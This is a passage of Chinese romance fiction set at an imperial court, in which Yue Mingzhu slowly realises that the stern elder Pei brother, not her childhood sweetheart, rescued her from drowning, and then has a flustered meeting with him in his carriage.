而且,同样都是“失足落水”,任自恒可没有她这般好运。据说过了好一会儿才被人发现。
御花园湖底下与皇宫后山山麓河道相通,从山上飞下的水流更加湍急冰冷。任自恒在里头泡了许久,救上来还迟迟高烧不退,请了数个太医使去诊治也还没见好转。
“老爷刚刚在外边时跟奴婢提了一嘴,说是任家上下都急得团团转,任夫人直接去厢房那儿守着。”
千灯宴四方来朝,连越轻鸿这样不起眼的三品官员都只能离席片刻,位至内阁重臣的任大人更是寸步难离,叫夫人去亲身守着,已经足以见得幼子情况有多糟糕。
越明珠讶然:“这也是阿策哥哥做的吗?”
不曾等到答案,殿门便被轻轻叩响,是宫侍来送煎好的药。
云青前去给她取药。越明珠一边等着,一边低下头端详掌心的墨玉扳指。
方才一直紧紧握着,不曾细看过它。原来上面刻着个栩栩如生的虎头,圆睁的怒目活灵活现,似乎在与她对视。
是裴惊策刚刚掉下的。
被她抓住手的时候,这扳指便有意无意地滑落到她掌心里,像某种信物一样。尽管越明珠脑子不清醒,也隐约感觉这东西很重要,便一直攥在掌心。
刚刚没多注意,现在盯着看了许久,越明珠却突然觉得这玩意有些陌生。
这念头刚一升起,云青就端着药回到她身边,表情一言难尽:“小姐,趁热快喝了吧,奴婢有事相禀。”
越明珠将扳指放在膝上,硬着头皮将药汁一饮而尽。苦涩的味道令人作呕,她吃了四五颗蜜饯才缓过来。
“刚刚有个公公说,皇后娘娘开了恩,让小姐先在此处好好休息,可以等到好转之后再离宫,不必着急。”
云青一边伺候着她喝药,一边吞吞吐吐地道:“奴婢又顺便旁敲侧击问过了那些宫侍,得知件怪事……小姐落水的消息传出时,小少爷一直都在殿中。”
啪的一声,药碗摔落在地,四分五裂。
“怎么可能!?”
越明珠根本顾不上那药碗,拿起墨玉扳指道:“阿策哥哥的东西都还在我手上——”
声音戛然而止,她后知后觉地低下脑袋,对上墨玉上的虎目。
之前好像没有见过裴惊策戴过这样的扳指。
虎头纹也一向并非他喜欢的样式。
云青继续道:“倒是有人专门跟奴婢提过,小姐刚走,裴大公子便也称事离席了,不知道会不会……”
越明珠睁大杏眼,一副听了鬼故事的模样:“你觉得裴晏迟会救我?”
不止及时救下她,还替她善后,如此细致周密,怎么可能是裴大公子那样的人对她所为?
云青一脸复杂:“奴婢也不清楚,但只要找到扳指的主人是谁,应当可以水落石出。”
越明珠不愿也不敢多想,收起扳指:“等我先问过阿策哥哥再说。”
她心里也隐隐觉得有点不对劲,咬起唇瓣,犹犹豫豫地道:“……退一万步,说不定是无量光佛显灵了呢。”
那个小师父说无量光佛很是灵验。她那么虔诚,说不定正好感动了佛祖,来替她消灾解难。
嗯,没错。
佛祖显灵的可能性都比裴晏迟救她的可能性大。
越明珠转移开话题:“阿策哥哥现在还在宴上吗?”
云青点头:“千灯宴流程繁琐,今日宫里落锁的时间都会比平日迟一个时辰。”
“……喔,好吧。”
她的脸上难掩失落。
越明珠知道自己现在情况特殊,去哪儿都要告知宫侍,不能随意走动。等到千灯宴结束,恐怕也没有什么机会再溜出去见裴惊策。
更不知道下一回相见还要等到什么时候。
空了一整晚的肚子煞风景地叫了两声,云青见状,麻利地动身去给她找可以暂且果腹的吃食。
云青一走,这偌大的偏殿便彻底空了下来,
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只留越明珠坐在榻边发呆。
好半晌后,才远远传来旁的声音,自天而降的轰响,一声比一声剧烈,一声比一声浩大。
越明珠顺着望向窗外。漆黑夜幕上点缀着大大小小的火树银花,绚烂而夺目。
这是每回宫中盛会必然能看到的奇观。换作往日,越明珠一定会眼睛眨也不眨地看完全程,夜里入眠前还要再回味几番。
只是此刻位于殿内,门窗遮掩了大半视野,只能瞧见天边一角。
想了想,越明珠拢紧斗篷,没跟宫侍打招呼,悄悄从侧门溜了出去。
她不敢走远,驻足在门口的假山边,仰头望着火树欲燃不夜天的胜景。
看得正出神时,肚子又“咕叽”叫了一下。
与此同时响起的,还有一声模糊的低笑。
越明珠怔了怔,迟缓地偏过头,对上那双笑起来勾魂摄魄的桃花眸。
裴惊策背抵在假山边,双手抱臂,姿势散漫至极,也不知道何时出现,又在那儿看了她多久。
“不知道你还饿着,忘了带吃食。”
他哼笑,语调稀松平常,“等会儿再让人送些点心过来,玉露团吃吗?”
越明珠呆呆地“啊”了一声。
裴惊策也没有再问第二遍,挑起眉:“说好千灯宴下见,我来赴约,这么惊讶做什么。”
“我以为今日出了那么多岔子,阿策哥哥应该没空再过来……”
少年嗯了声,散漫地道:“但我以为有人会很想见我。”
那嗓音不轻不重,却几乎要将越明珠的耳尖烫融了。她抬手想遮住耳朵,又感觉脸好像也在发烫。
手足无措忙活了一番,却什么也没遮住,反倒又惹得裴小少爷发笑。
“别乱动了,斗篷会进风。”
他倾身过来:“伸手。”
越明珠一脸茫然地从斗篷里伸出右手。
手腕突然压上了一份沉甸甸的重量,比近在咫尺的人影更加清晰地提醒着越明珠,此时并非幻梦。
她低头,看向腕处多出来的金穿珍珠宽镯。
双排珍珠如鲛人泣成,不磨而莹,采耀光流。哪怕此时灯光昏暗,也难以掩饰它接近无暇的成色品相。
难怪先前贵女们都说,南珠万金难求一颗。
裴惊策给她系好,啧了声,道:“找一样大小的珠子浪费了点功夫,说好的及笄礼,竟然拖到了今日。”
越明珠几乎快要语无伦次:“没、没事……不晚的,我很喜欢!”
裴小少爷望见她飞快扑闪的睫羽,轻笑一声。
天上灯花绽开,照得那张俊美无俦的脸庞忽明忽暗,又忽远忽近。
唯独他的声音落在她耳边,分外清楚。
“先说好,举国就这一只,丢了像去年一样找我可没用,自己收着。”
越明珠几乎不敢看他,胡乱地连着嗯了好几声。
月光与灯火映照下,细腻的珠晖如静水流过,无形地淌在她手腕上。又像火似的烧起来,腕骨四周的肌肤烫得惊人。
“阿策哥哥。”
她将另一只手搭在手腕的珍珠宽镯上,咬起唇瓣,声音轻了下去,“……任四小姐那对耳坠是你送的吗?你跟她,会定亲吗?”
越明珠从来没有问过这种问题。破天荒的,这是头一回。
14.14
夜幕上火树闪烁,一阵接着一阵连天的响声,衬得这一刻愈发安静。
“什么耳坠?”
裴惊策好像压根没注意过这件事。还是被越明珠提醒,才想起来任雪韵耳边那两颗南珠的存在。
他语调散漫:“府上有几斛。我只挑走了顺眼的,剩下都没有再过问。”
言下之意,任雪韵得来的那两颗南珠,跟他毫无干系。
“至于订亲,”裴惊策道,“我娘跟姑母确有此意。”
太傅夫人跟皇后娘娘对任雪韵的好都摆在明面上,旁人一看便知。
她之前还以为是裴晏迟的缘故。
越明珠感觉那只镯子压在手腕上,像块石头似的。她闷声问:“那你呢?”
“我还没有成亲的打算。”
分明是在说自己的终身大事,却还是素日那副云淡风轻的样子,好像全然没放在心上。唯独语气透出几分淡淡的笃定。
裴惊策对她还没有食言过。
至少到现在是如此。
越明珠想起他在宴上的反应,不迎不避,模棱两可。
裴小少爷总是这样,做什么都随意得很,也懒得多解释。
旁人更不敢多问,因为知晓一旦说出口了,只会得来裴惊策一声嗤笑,觉得又听到个愚蠢的问题。
她心下乱麻缠绕,忍不住低声嘟囔:“你长兄不娶她,就要你来吗……”
话说出口,越明珠才猛地想起他跟裴晏迟关系极差,这番话好像不太合适。
她有些不自在,张口想岔开话题。还没说出口,头顶上又响起裴惊策的声音:“你因为这个离了席?”
语气不像疑问,更像是确认。
他当时明明正在应皇后娘娘的话,却似乎早已经留心过她的踪迹。
越明珠点头,支支吾吾道:“我跟着宫侍一同出去,没想到……”
后面那堆事情实在是乱七八糟,她一时不知道从何说起。
支吾之际,颀长的阴影覆了过来。越明珠眼前一暗,怔然地看着那双修长好看的手拂开了她斗篷边的落叶。
漫天火树银花绽开又熄灭,盛景落下帷幕,只余星星点点的灯晖。
视线所及之处,仿佛一切又重新黯淡了下来。
“……放心,”少年嗓音低慢,“不会让你白白受欺负。”
就这么轻描淡写的一句话,却让人不争气地鼻子一酸。
越明珠吸了吸鼻子,说话又颠三倒四起来:“阿策哥哥,你都知道了吗,那是不是你……”
裴惊策道:“巧合成这样,不难查。”
“你查到的?”
裴惊策语气微凉:“我之前没看出来,任家那个蠢货如此胆大包天。”
越明珠很少见裴惊策用这副语气说话,愣了愣,忍不住把她落水前的事和青山寺上那番纠缠都一并全盘托出。
“……落水之后,我也不知道到底怎么回事。”
这倒是实话。
那个救她又替她悉心善后的人,若不是阿策哥哥还会是谁?难道真是无量光佛显灵吗?
裴惊策不甚在意:“任家那老头结仇太多。”
树大招风,若说有哪个仇家将计就计给了任大人对宝贝幼子一个教训,或是设下更大的局,也不无可能。
越明珠想起那个怀抱跟遗落的扳指,隐隐觉得不止如此。
可朽木似的脑袋根本转不过来。裴惊策这么说,她也就先这么信着。
“对了,阿策哥哥,青山寺请的平安符,我还没来得及给你。”
她本是贴身带着,打算等会儿送给裴惊策。结果现在倒好,装符的锦囊与符咒跟着掉入水中,里里外外都湿透了。
越明珠有些沮丧:“我下回重新去给你请一个。”
只是之后可能没有去参拜无量光佛的机缘,求来的平安符要次上一等。
裴惊策慵懒地倚回假山边:“神佛迷信之说而已,没有就没有了。”
越明珠想说她求的不一样。但再想了想,好像也没什么不一样。
她又不是了无大师的亲传弟子,没有慧根,笨笨的,说不定佛祖根本不喜欢她,开光后给她的加持都要比别人少些。
越明珠思考了一会儿,小脸满是认真:“但于情于理,你给了我那么多珍贵的东西,我都应该回赠自己的心意才行。”
那两箱绫罗绸缎本就十分贵重,她手上这只金穿珍珠宽镯就更不用说了。
哪怕越明珠对珠玑珍宝一窍不通,也能猜到这只镯子上面的南珠加起来绝对价值连城。
“下个月就是你十九岁的生辰,我要给你好好准备。”
越明珠朝他眨了眨眼,美眸流转,脸边像是抹了浆果般的透红。“阿策哥哥,你想要袖剑吗?”
裴惊策望着她,似笑非笑地提醒:“生辰礼,重在惊喜。”
越明珠:“……”
对哦,她怎么一张嘴就全说出来了。
“但我也不知道送你什么好。不先过问,万一到时候阿策哥哥不喜欢怎么办?”
裴惊策的视线落在她手腕上,懒懒散散地道:“我没过问,你不也一样很喜欢。”
越明珠脸颊更红了,含糊地道:“……那不一样呀。”
裴惊策眉峰一挑,也不知是不是明知故问:“哪不一样?”
——阿策哥哥送的所有东西,她都会很喜欢的。
这种话光是在心里想想,就烧得越明珠脸颊发烫,更别提亲口说出来。
她唰的别开脸:“我只是想到阿策哥哥以前练过剑,想着要不要送你一柄。”
这话题转移得实在是太过生硬。所幸裴惊策并没有计较。
提起这件事,裴惊策肉眼可见没了多少兴致,语调也淡了几分:“不用,早就没练了。”
越明珠仔细回想了一番。回京之后,的确没再见裴惊策舞过剑。
她忍不住觉得有些可惜,嘀咕道:“我以前还想着,阿策哥哥这么有天赋,以后说不定能成为话本里那样的剑仙……”
她可不是随口吹捧。
曾几何时,小越明珠还真的想过这个问题。
当初,越明珠跟着裴惊策去给他挑选趁手的剑。江南大名鼎鼎的剑铺师父跟不过十三的裴小少爷过了两招,便止不住连连称奇,说见过他绝对是天纵奇才。
还说他假以时日,定能成为剑仙似的人物。
那时候越明珠不知道剑仙是一种形容,只当裴惊策真的要飞升到天上去了。
回府路上越想越舍不得,拉着少年的衣角默默哭花了脸。
等裴惊策问她发生什么事了,她用袖子擦了擦脸,哽咽道:“没事,阿策哥哥,你好好练你的,但是以后就算飞走了也不要忘记我。”
说得大度,但心里实在依依不舍。话还没说完,她就装不下去了,哇的一声大哭起来。
最后还是裴惊策忙前忙后哄了大半个时辰,又拉勾跟她保证以后绝不独自飞升,这出闹剧才消停。
突然想起这么啼笑皆非的往事,越明珠忍不住觉得有点丢脸,偷偷去瞥身边人的神色。
裴惊策却神情如常,听见她的吹捧,只是不以为意地道:“哪来什么天赋。”
仅仅回了她的话,好像并不记得剑仙这个称呼牵扯出来的旧事。
真奇怪。越明珠刚刚本来不想让他记起那些往事,免得又招来他一顿笑。
可见他好像真的没想起来,她心里又莫名有点空落落。
她觉得自己最近真是越来越莫名其妙了,甩了甩脑袋,将那些没由来的东西抛之脑后,又问“那捏一个你的小泥人怎么样?”
“当初我们互相给对方捏过一个,只不过东西都落在那家泥人铺子了,肯定早就已经被扔到不知道哪儿去了。如今正好,再捏一个长大后的阿策哥哥和我……也不对,两个泥人容易让别人误会,还是就一个吧。”
“不过我手不巧,捏出来不像可难办了。但云青说我之前捏的小鸭子跟小兔子不像本尊,可能是因为我没认真端详过什么鸭子兔子。阿策哥哥的样子我再熟悉不过,捏出来应该很像才对……”
她仔细思索完,愈发觉得可行,抬起脸,眼睛亮亮地望向裴惊策:“阿策哥哥,你说呢?”
裴惊策也不知道有没有把她那一大堆话听完,被她追问几回,只漫不经意地道:“你不嫌麻烦?”
越明珠连忙摇头:“不麻烦的!”
她还想多问几句,但远处殿外华灯接连暗下几盏,天色也更暗了一分。
“该走了,”裴惊策站直,“你好好休息。”
…………
千灯宴后,越轻鸿不放心越明珠舟车劳顿,嘱咐她先在偏殿休息一晚,等次日太医使诊过脉再离宫。
回到府中,越明珠风寒未消,还有些头疼脑热。越轻鸿便每日请女大夫上门照看她,又翻出之前裴大公子送上门的药材熬药。
照顾得如此精细,纵使越明珠身子骨一向虚弱,也没有在此番落水之后留下什么病症。
与她刚好相反,任自恒这一出大病相当严重,接连高烧了四五日才好转。
治好风寒之后,新的麻烦又接踵而至。他整宿整宿睡不着,跟太医说头像是被针扎了似的一直疼。太医也束手无策,开了各种方子也没能根治任自恒这毛病。
据说夜半三更,还有人能听见他在府中大吼大叫。次日一看,半个任府都被崩溃发疯的七少爷砸得一片狼藉。
任夫人这半月可是把眼睛都哭肿了。
更要命的还在后头。任自恒在府中待烦了,不顾下人阻拦,非要出门打马游街。
若他只是干欺男霸女的事情,任家倒有的是手段收拾残局,可偏偏恰好遇上了裴家小少爷。
就任自恒那个被头疼失眠折磨得不成人样的脾气,遇上谁都不会收敛,一作死便作了个大的,当着不少人的面把裴惊策得罪得彻彻底底,最后活生生被小少爷的马踩坏了一只手一条腿。
从云青那儿听到这个消息,越明珠惊得忍不住捂住嘴巴,第一反应还是关心裴惊策:“阿策哥哥不会有事吧?”
云青:“任大人已经息事宁人,对外都说那登徒子是自己喝多了,不小心摔断了手脚。”
越明珠还是不放心。
出了这么大的事,裴太傅要是又把裴惊策送去大理寺了可怎么办。
接下来数日,她拐弯抹角地找人打听,只打听到裴惊策挨了顿训,竟不曾有多余的惩处。
越明珠实在很想去瞧一瞧裴惊策,可小少爷似乎分|身乏术,迟迟没有派人来找她。
她见不到人,便又去了一趟青山寺,求了新的平安符,派人悄悄送到裴惊策手里。只希望能稍微起些作用,保佑他平安。
病好之后,各种请帖又开始纷至沓来。其中有一封来自恭恩侯府,邀越明珠去侯府参加诗会。
恭恩侯是先帝重臣,新朝放权后行事一向低调,几乎只与朝中文臣清流往来。越明珠从来都没有与侯府中的人说过话。
是陆三夫人惦记着她的婚事,不知用了什么手段,牵线搭桥了此番赴会。
上回已经推拒过三伯母一回,这回总不好再继续推拒。
况且,恭恩侯那样的做派应该瞧不上她,去与侯府世子见过一面肯定就没了下文。想到此处,越明珠便欣然收下了请帖,如约前往恭恩侯府。
这天日丽风清,一出门,便叫
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人的心情也跟着明媚起来。
此番诗会来了许多公子贵女,一眼望去几乎都是文臣世家。越明珠本以为自己又是熟悉的末席,不曾想竟然被带到了离主座颇近的位置。
见她坐下,四周几个千金小姐的脸色肉眼可见都变了变,彼此交换起眼神。
一个从地方来的三品官员,在都察院中都是给人打下手的货色,怎么一回两回地得了这般器重?
云青怕她听见那些窃声私语坏了心情,连忙上前倒茶,引开话题:“小姐渴了吧,先喝茶。”
越明珠拿过茶杯,朝云青弯眼笑了笑。
其实她压根不在意那些人的议论,也不在意坐哪儿。反正每张案桌上的点心都是一样的,又不会多给她一碟。
不过,很快,越明珠就发现了坐在此处的缺点。
做东的侯府千金与世子姗姗来迟落座,与他们同来的,竟然是向来不会出现在这种场合的裴大公子。
瞧清楚裴晏迟的脸时,越明珠险些被茶水呛到,连忙掩袖作咳。
她有意把咳嗽声压得很低,不想引起动静。然而不知道是不是离主座太近,惊扰到了裴大公子。裴晏迟冷沉的视线瞥了过来,好半晌才移开。
越明珠被他看得浑身不自在。等到赋诗作乐时,压根不想再多表现。
但很显然,想在裴大公子面前表现的人不胜凡几。那些贵女争先恐后地起身对诗赋,念着念着,又都会不由自主地看向上座。
连越明珠这般迟钝的人,都能看出她们的视线有多含情脉脉,欲语还休。
上回楚老将军的女儿主动献舞闹出那么大的事情,风头一过,想要献媚得来裴大公子青眼的女郎还是如过江之鲫,一个接着一个,看得越明珠眼都花了。
裴晏迟的目光半分没落在那些人身上,连应付都不曾有,神色一如既往寡薄冷淡。
恭恩侯府千金笑吟吟地把持着局面,世子则只顾着与裴晏迟攀谈,聊的似乎都是些与诗会无关的事。
越明珠无心去管裴晏迟的私事。只是两轮对诗过后,恭恩侯世子的声音逐渐大了起来。
“……纡尊到我这落败人家来,裴兄清剿完逆党,当真是准备要修身养性了?”
裴晏迟抬眸,道:“世子哪里的话。恭恩侯与家父情同手足,作为晚辈常来问安,实属分内之事。”
世子连忙拱起手道:“裴兄这就是误会了,你所做之事侯府上下看在眼底,绝无质疑之心。只是我听了些有的没的,又正好见裴兄摘了那枚刚刚威震江南的虎头,实在有些新奇。”
裴晏迟语调平淡:“世子多想了。只是府中狸奴顽皮,不知道把那玩意叼到了哪儿去。”
大抵是头一回听见这般奇事,恭恩侯世子噗嗤笑出来。
“哪只猫儿这么识货,一叼就叼走了裴大人下江南时号令保皇党的信物?”
“墨玉做的虎头扳指,又磕坏了个角,不知是哪只狸奴会瞧上此物,这么爱惜。”
男人平静地道:“半月过了,还未曾物归原主。”
墨玉,虎头,扳指。
半月前丢的。
越明珠越听越不对劲。
……这世间总不会真有这么巧的事情吧?
她迫不及待想拿出那枚扳指比对,但又不敢让其他人看见。
不说别的,听恭恩侯世子的意思,那枚扳指意义重大,跟之前南下叛乱之事有关。
若是叫人发现在她手里,说不定会闹出好多是非。她不想连累爹爹。
接下来又是一轮对诗品茗,越明珠心中牵挂此事,完全心不在焉。
好不容易熬到诗会结束,她没有再留下来寒暄,礼数周全地同侯府千金告辞,很快便回到了马车上。
掩上帷帘,点起蜡烛,越明珠跟云青研究起了那枚扳指。
之前没有仔细看过,如今再细细端详,竟然还真的磕坏了一角,跟裴晏迟说的如出一辙。
马车内骤然陷入死一般的寂静。
良久之后,越明珠抬起脸,不死心地问:“……就真的没有可能是无量光佛显灵吗?”
云青早就有过这个大胆的猜测,倒没这么惊讶跟意外。她使劲转了转脑子:“小姐,奴婢觉得大公子那话可能就是说给你听的。趁着今日,你赶紧把这扳指还他,再……”
越明珠挪到她身边,脑袋轻轻埋进她怀里,声音细小:“我不敢去。”
云青摸着她的脑袋,耐心开解:“小姐以前畏惧大公子,是畏惧他的为人。如今大公子十有八|九是小姐的救命恩人,小姐还怕吗?”
越明珠很认真地想了想,然后更认真地道:“更怕了。”
事出反常必有妖。她都不敢独自一人时看有妖怪的话本,更别说独自去面对裴晏迟这只张牙舞爪的大妖怪。
她照例让车夫启程回府。一路上,云青都在分析利弊。越明珠听着听着,又心生起几分犹豫。
马车绕原地打了好几转,始终没确定到底要回府还是去恭恩侯府。
空耗了许久,越明珠终于下定了决心:“还是先回去吧。”
得到命令,车夫掉头继续启程。
不料刚刚平稳地驶出不远,只听见轰隆一声巨响,像是撞上了什么东西,马车半边径直塌陷下去。
越明珠吓了一跳。不等她发问,车夫便连滚带爬地过来告罪:“小姐恕罪,是老奴方才没长眼,不小心撞上了其他人家的车马——”
越明珠抚了抚心口,缓过神来,轻声道:“没事,你先莫急。”
云青瞧见他那副惊弓之鸟的模样,敏锐地追问:“撞上了哪家的车马?”
车夫将头埋得更低,嗫嚅道:“……说是裴、裴大人的。”
15.15
裴大公子惯用的车马同他给人的印象一样,清寂又开阔,一眼望去纤尘不染,挂笺片玉。
名贵的金丝楠木随处可见,点缀出道道溢彩流光,为此处增添了为数不多的烟火凡尘气。
不像车舆,更像是哪个仙人的居所。
仙人本人正坐在越明珠对面,横着一方茶几,淡淡地睨着她。
越明珠忍不住想起之前被他从桌下捉出来的尴尬情形。
也是这般居高临下、目中无尘的视线,瞧不出任何多余的情绪,仿佛拒人于千里之外。
她越想越如芒刺背,坐立难安。手止不住想乱动,又不敢随便去碰别的东西,干脆拿起面前的茶杯喝起茶来。
刚一喝,就听见头顶上响起不咸不淡的声线:“相撞时损坏了越姑娘的车马,深感歉意。”
越明珠都还没听清楚他说了什么,一听他的声音,手一滞,茶杯便脱手滑了下来。
伴随着哐当一声,杯中剩余茶水飞溅,连她身上都未曾幸免于难,衣襟上一转眼就多了几点茶水渍。
快要入夏时节,天一热,京中女郎都不免穿得清凉些。这身纱衫质地轻薄,被水洇湿的那几小块地方便牢牢黏在身前,隐隐约约透出少女纤细的锁骨,和下方一寸过分白皙的皮肉,像在诱人深入。
只是很小几片,不大明显,越明珠粗略看了一眼后没发现不对,随便拭过便不再管。
她满心都在这突如其来的岔子上,看了看裴晏迟,见他无多表示,便飞快地捡起茶杯,想要假装若无其事地放回原处。
结果拿起来的时候才发现那杯壁全都是水,根本握不稳,一个不小心就又从她手里滑落,哐当砸地,骨碌碌地滚到了裴晏迟月白色的衣摆边。
裴晏迟瞥了一眼茶杯,又抬眸,瞥了一眼她。
越明珠:“……”
她很小声地道:“对、对不起……”
裴晏迟的视线停留在她僵硬的笑弧上,顿了顿,道:“无妨。”
语调一如既往的无波无澜,也听不出喜怒。
若是旁人在此,见到此情此景一定会咋舌。
对裴大公子来讲,闹成这样还没让人滚下马车去,绝对已经算是天大的宽容。
更别提还这么耐心地等着人开口,更是天方夜谭。
那些下狱的逆党若是被问了一炷香后还不肯张嘴,可都是要直接上刑的。
毕竟裴大公子的光阴宝贵,耐心也十分有限,并没有闲功夫与人废话。
然而越明珠瞧见他喜怒不形于色的脸庞,心下只觉得更加惴惴。
想了几句旁敲侧击的话,可话到嘴边就是说不出来。
她又想,要不直接不经意地把扳指落出来,看裴晏迟的反应如何好了。
越明珠从来没觉得自己有这么聪明过。
然后一摸袖中,才发现刚刚上马车来见裴大公子时太紧张,忘记拿扳指了。东西应当还在云青那儿。
“……”
越明珠忍不住问:“大公子可知,我那个丫鬟有没有跟在后面?”
裴晏迟:“会有人另外送回去。”
也就是说,刚刚那灵机一动想出来的招数行不通了。越明珠白净的手指绞在一起,不再吭声。
冗长的沉默之后,男人修长的指节轻轻叩响桌面,平和地道:“越姑娘怎么一直欲言又止?”
这几乎是裴大公子对人最温和的语气。
然而落在越明珠耳边,却完全是冰凉的命令跟拷问。
她觉得自己像是即将要被严刑拷打的犯人,心虚得要命,声音一下子变得细弱不堪:“没、没什么。”
正好一阵风吹来,帷帘被拂开,露出不远处热闹的街市。
“我突然想起来好像还有些事,总之就不麻烦大人送我回去了,马车停在这里便是……”
自顾自说完,不等裴晏迟回答,她就径自站了起来。
她一边挪向马车门边,一边留意裴晏迟的神情,却完全没发现脚下有个茶杯正大喇喇地躺着,踩上去陡然就是一滑。
等越明珠回过神,想稳住身体却为时已晚,整个人都不受控制地往前扑去。
地面离脸越来越近,她几乎能想象到自己脸着时的剧烈痛楚。但千钧一发之际,一只大手轻而易举地把她拉了过来。
然而平日的越明珠比落水后衣服带水的越明珠轻上许多。同样的力道,之前方能稳稳接住,现下却有些太过。
以至于越明珠被带过去时,脸砰的重重砸在了他的手臂上。
她嘶了一声,被撞到的鼻尖红了大片。下意识涌出的泪珠挂在睫毛上,脸蛋皱作一团,又无辜又可怜。
没有外衫作隔,盈怀的温软愈发真切。裴晏迟不动声色地扫过,放轻了力道,却并未松开。
但越明珠现下根本注意不到他的举动。跌入这气息凛冽的怀抱时,她满脑子只有一个念头——
感觉好熟悉。
那天晚上把她从水里捞起来又接住的怀抱,是不是就是这样子的?
越明珠下意识想要与他拉开距离,然而刚刚手脚并用地支起身,外头的马匹突然嘶鸣起来,马车一晃,她还没站起来,又狠狠地栽下去。
这回没了裴晏迟托着,她栽得眼冒金星,好久才缓过来。
不等她埋怨自己的笨手笨脚,便听见马车外庄河禀报道:“大人,刚刚是二少爷勒马不及时,害得马匹受惊——”
阿策哥哥?
越明珠睁大眼睛,下意识抬头往帷帘外望去。
后颈被大掌用力压了下来。她吃痛地娇呼一声,却只等来男人一下子冰冷下去的语气:“别乱动。”
比刚才要凶上一万倍。
效果立竿见影,越明珠立刻不敢再乱动了。
外边模模糊糊响起熟悉的声线,听不真切,又过片刻,庄河转述道:“二少爷说,夫人要他转告您在申时前回府。”
明明离这么近,说个话却还要旁人代为转达,关系可见一斑。
裴晏迟薄唇微抿:“知道了。”
他声量如常,显然也只是说给庄河听的。
不过裴小少爷很明显并不稀罕得到什么回应,敷衍地做完太傅夫人交代的任务之后,便直接策马扬长而去。
越明珠只模模糊糊听见他一声“驾”,接着就是越来越远的马蹄声。
她一晃神,后颈又被不客气地捏了起来。
男人眸子深若寒潭,比刚刚冷漠得多。
颈子好疼,脸好疼,莫名其妙摔了两跤,还莫名其妙被这个人凶了,越明珠实在忍不住委屈:“你干什么!”
一说出口她就后悔了,要是因此被裴晏迟记恨上了可怎么办?
可想到这个人刚刚连续做了这么多讨厌的事情,她又理直气壮了一点,咬起唇不收回刚刚的话。
“我也想问越姑娘这个问题。”
出乎意料的,裴晏迟看起来比她还要理直气壮。
他冷淡地提醒道:“你的手还要放多久?”
手?什么手?
越明珠突然意识到不对劲,低头看过去,突然发现自己原本应该撑着地的手,不知道为什么撑在男人精瘦的腰边。
曲着的膝盖跟小腿也压在裴晏迟腿上。她稍微一动,膝盖就抵上了裴大公子腰间名贵而精致的束缎,和质地坚硬的玉佩。
……!!!
后知后觉的越明珠一蹦三尺高,手脚并用地爬起来跟他拉开距离,退到马车角落,语无伦次地道:“我、我不是故意的……”
难怪摔第二回的时候裴晏迟没救她,原来是她直接栽到了人家身上。
刚刚他忍无可忍要把她拎起来,她不但纹丝不动,还好意思气势汹汹地质问他……
越明珠现在只想要把脑袋钻进地缝里,双袖遮脸,越说越不敢看裴晏迟。
红晕一路从少女耳边蔓延到衣衫下,一转眼,连露出的那节皓腕都沾染上羞赧的淡粉色。
不难推测出,此时薄衫遮掩下的大片肌肤也是同样的绯红色泽。
裴晏迟淡定地抚平了衣上褶皱,片刻后抬起眸子,冷静地问:“你刚刚委屈什么,我欺负的你?”
越明珠以为他在兴师问罪,连忙改口:“没有。”
裴晏迟:“你觉得我很凶吗?”
他顿了顿:“刚刚你动手动脚的事,我都没追究。”
平静的语调叙述得像是恐吓,
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越明珠理亏,声音更是微弱:“没有,是我的错,大公子大人有大量……”
裴晏迟:“……”
薄唇抿成一条笔直的线,裴大公子平生第一回体会到名为哑口无言的感觉。
也不知道怎么会这么怕他。
与此同时,庄河正好硬着头皮地提醒道:“——大人,还有一盏茶的功夫就到申时。”
越明珠立刻接道:“那我不打扰大公子了。”
裴晏迟望了她片刻,终于大发慈悲地嗯了一下。
还没等越明珠松口气,他又开了口,只不过是对庄河吩咐的:“回府之后,让管家再在府中找找可疑的狸奴。”
“如果三日后还找不到——”
裴晏迟顿住,寒山似的眸子微侧,对上少女写满了心虚的脸蛋:“我就亲自去了。”
…………
“……大公子说完,小姐不会就这么走了吧?”
越明珠吃了一口糖渍樱桃,小声道:“是呀。”
马车正好停在街市边。她下来没走几步就看见了越家名下的药铺。掌柜见她一个人,便找了辆马车把她送了回来。
云青叹气:“小姐根本没有必要那么怕大公子的。”
这话换作以前任何时候说,越明珠都会以为云青在耸人听闻。
可回想起来,她竟然觉得云青说得好像有一些些道理。
裴晏迟好像只是脸实在冷了点,语气实在凶了点。
好像真的没有欺负她,也没追究她的过错。
那么重要的东西落在她这儿,甚至没叫人搜她的身。
越明珠咬了口樱桃,含糊地道:“……但也不能怪我。”
要怪就怪裴晏迟以前太可怕了!给她留下了深重的心理阴影。
回京三年,除开大大小小的筵席,她印象中只见过裴大公子三回。
第一回发现他对受伤的胞弟漠不关心,还以宫规为由罚了她。
第二回更糟糕了,被他当成刺客审问了一通。若不是她急中生智装脑疾,指不定后果有多不堪设想。
第三回,就见到他在赏花宴上让人缉拿了叛贼的女儿。楚叶彤被拖下去时的样子她还记忆犹新。
——如此种种,她觉得裴晏迟很吓人也实属正常吧!
听她这般振振有词,云青也被说服了,只好换了一个思路:“那回上京之前呢,小姐可对大公子有什么别的印象吗?”
越明珠很努力地回想,才能想起跟裴大公子的第一次见面——
是在学堂上。
当时那教书的夫子对他们很是大方,若是觉着谁作的诗赋有文采,便丝毫不吝嘉奖。
那日夫子突然抱恙卧床,不能来上课,只好托学生把批阅好的诗文和准备好的奖励带来,一同纷发。
那回的嘉奖非常多,几乎人人有份,但越明珠没有。
不仅没有奖励,连卷子都没得到。满堂的学生都看见她两手空空。
小孩子童言无忌,却最容易伤人,纷纷笑话起她来,说夫子看不上她的诗文,所以落了她的也没发现。
越明珠差点就被气哭了,眼泪快要落下来的时候,突然听见有人叫她名字。
是替夫子纷发诗文跟奖励的裴晏迟站在门口,板着脸道:“刚刚落了你的。”
他摊开手,是一颗闪亮的金绿猫眼。
周围此起彼伏传来“哇”的惊叹声,越明珠也愣了,“大哥哥,夫子是不是觉得我写的很好呀?”
“不知道。”
他转身要走,越明珠上前去抓他的衣角:“大哥哥,我的诗文呢,怎么没发下来,是不是夫子专门收着了……”
裴晏迟站定,没好气地道:“放手。”
越明珠:“大哥哥……”
“都不知道,不要问我,你很烦。”
留下这句毫不客气的话,他就径自离开了。
——从见的第一面起,裴晏迟就又很讨厌,又很可怕。
“不论如何,至少那夜他救了小姐是真,知恩图报,小姐怎么也应该去道一回谢。
云青委婉地道:“况且大公子都提醒过小姐了。三日之后,小姐一定得把那枚扳指还回去。”
16.16
不多不少,偏偏三日,正好撞上裴小少爷的生辰,也不知道是巧合还是有意为之。
